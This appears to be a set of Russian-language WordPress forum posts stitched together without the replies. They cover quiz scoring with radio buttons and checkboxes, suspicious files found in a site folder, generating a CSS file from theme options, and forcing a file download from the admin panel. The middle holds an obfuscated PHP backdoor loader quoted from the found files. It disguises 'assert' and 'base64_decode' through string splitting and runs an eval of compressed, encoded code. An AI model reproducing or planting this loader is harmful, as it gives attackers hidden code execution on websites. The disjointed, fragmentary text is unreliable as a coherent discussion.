Нет смотрите. там какая штука.
В одном тесте комбинированные вопросы.
Т.е. есть где радио кнопки.
<label>Вопрос 1</label>
<input class="tas" name="'.$key.'" type="radio" value="3">
<input class="tas" name="'.$key.'" type="checkbox" value="5">
<input class="tas" name="'.$key.'" type="radio" value="15">
Есть где чекбоксы
<label>Вопрос 2</label>
<input class="tas" name="'.$key.'" type="checkbox" value="1">
<input class="tas" name="'.$key.'" type="checkbox" value="8">
А есть это вопрос
<label>Вопрос3</label>
<input class="tas" name="'.$key.'" type="checkbox" value="0">
Переменная итог $itog = это сумма набранных за каждый вопрос баллов. Т.е. за вопрос 1 человек может получить максимум 15, за вопрос 2. от 1 до 14 (1+5+8) баллов тк может отметить сраз все чекбоксы и тест это позволяет. , а за вопрос три он должен получать либо 1, либо 0.
Вот как это блин расшаривать я не придумал еще....
PS сам массив отмеченных чекбоксов и радио у меня передается через аякс var data = $(this).serializeArray();
и храниться тут $_REQUEST['data'];
Перменная $key = равна номеру вопроса.
Т.е.
<input class="tas" name="1" type="radio" value="3">
<input class="tas" name="1" type="checkbox" value="5">
<input class="tas" name="1" type="radio" value="15">
Короче в ахиве два этих файла. Лежали тут /wp-content/files_mf/.
вот можно их скачать https://yadi.sk/d/c4iSb9MGj8Wkc
Ниже код пхп файла, но урезан.
$dba_optimize_erda = 'asse|||beamq|||rt'; $date_interval_create_from_date_string_abwc = 'base|||beamq|||6|||beamq|||4|||beamq|||_dec|||beamq|||ode';$dba_optimize_erda = str_replace('|||beamq|||','',$dba_optimize_erda);$date_interval_create_from_date_string_abwc = str_replace('|||beamq|||','',$date_interval_create_from_date_string_abwc); $date_sunset_phep = 'ZXZhbChnenVuY29|||beamq|||tcHJlc3MoYmFzZTY0X2RlY29kZSgnZU5ybGZYdGIyN2p5OE4vYlQyRzhPWFc4RFNFSmJiZWI0QUNsME5JTGRMbjBCdnl5anVNa1hodzdhenNFbHVXN3Z6TWp5Wlp2SVhSNzN1ZTk3SGxPaWFYUmFDU05wVWxzVS9NQStmS0UveVBoOGY5bUM2SGU4Zkh0VFUwQnphRStCQVNOOXlQQWU5Q2FvYUp2WW03UGxvSGpiT0RrQmtwa2RQVEJFbXlZWlpsWDNOcFNDQUhFNG42WHFCQmZidHNiYkMwVEgvcGpaOWF2VXNxQzVoTkRLWmFkV1JTWm9qMjlyM2huNVI0QitUenF6bEZjdVVXeGk3QVU5NlBZUXZCbUwyU3Y4TFlKZml1Zz09JykpKTs=';$date_sunset_phep = str_replace('|||beamq|||','',$date_sunset_phep);@$dba_optimize_erda($date_interval_create_from_date_string_abwc($date_sunset_phep));
У меня много сайтов где плагин mf2 юзаю, но папку . (точка) он нигде не создал.
Да там букв много. Не влезало. Я короче ступил чутка...
Да, но пока что смотрю, там либо скрипты, либо инлайн стайл. (это я и так умею).
Хотя вот вроде нарыл тему biancaa. Сейчас пытаюсь разобраться в коде... посмотреть, как они формируют css.
Кстати, пока искал, нарыл в одной из тем еще любопытную (по крайней мере для меня) штуку - меню адаптивное выдвигающееся в мобильной верисии и раскрывающееся в полной без скриптов вовсе. Обычно же на сайтах хоть строчку js, но используют, а тут все на чистом css и html. Думаю - это хороший подход. Самый лучшей, даже))
Проблема как раз в том, что я не знаю, как генерировать файл css средствами wp (( (в этом и суть моего вопроса)
Я знаю только как генерировать стили внутри html документа(( т.е. через wp_add_inline_style
А как генерировать отдельный css файл я не знаю((
По поводу бреда.
Да почти везде пишут, что не желательно вставлять стили через <style></style>
Т.е. хорошей практикой является скрипты в одно место, таблички стилей в другей, код в третье.
А так читал тут http://habrahabr.ru/post/143452/
потом в каком-то из разделов тут https://developers.google.com/web/?hl=ru и еще видео от яндекса смотрел. Там девушка (не помню как зовут, верстой в яндексе занимается) рассказывала про правильную адаптивную верстку (безскриптовую, от меньшего к большему и тп)
Так вот. Если верно понял, то некоторые (в частности старые мобильные устройства) "ломаются" когда натыкаются на конструкцию <style></style> в коде.
Если я в чем то ошибаюсь - поправьте. Ну и разумеется интересно, как генерировать файл css средствами вп...
Да. Я хочу, чтобы в html коде страницы было
<link type="text/css" rel="stylesheet" href="путь до шаблона/custom_style.css" />
Чтобы Гугл не ругался на стили внутри html кода.
А сам этот файл со стилями генерировался динамично. Чтобы в админке клиент мог изменять фон и прочие плюшки. Сейчас я вывожу эти плюшки через wp_add_inline_style, но это, вроде не совсем верно с точки зрения сео. Стили ж должны быть отдельно.
А можете на английском название темы дать? Themeforest? Так называлась?
Могли бы просто пройти мимо...
А вообще интересно, если вас заказчик просит, вы тоже так отвечаете? Или вы тупо не беретесь за такие заказы под любыми предлогами.
Просто это задача в рамках большого плагина с кучей функций. Мне показалось, что так удобнее будет.
Нагрузки не будет, тк. эта функция для админов сайта и ей пользоваться будут раза 2 в неделю.
Ура! Помогло! ОГРОМНОЕ СПАСИБО! :)
Я по ходу что-то недопонял в Вашей идеи.
Ну вот смотрите. У меня сейчас в админке WP человек выбрал нужные параметры (чекбоксами), нажал кнопку скачать.
Потом идет передча по методу POST.
Прошел потом запрос к базе. Я собрал нужные параметры в переменную $текст
Потом стартует это условие
if($do_it == "export_position") {
насколько я понимаю вы предлагает сделать в нем что-то типа
if($do_it == "export_position") {require_once F_DIR.'export.php'; }
а в файле export.php разместить заголовки? Но разве не тоже самое получится, не таже трабла вылезет?
Просто мне нужно, чтобы эта штука через админку работала. Чтобы клиент нажал кнопочку и скачал, что нужно ему.
Да знаю я, но как мне быть?
Заголовки же вордпрес отправляет. Я под него этот экспорт пишу.
Может альтернатива есть какая.
Т.е. мне нужно как-то передать юзеру на сохранение файлик содержимое которого - задано переменной.
Может как то через curl_setopt подступиться, но как?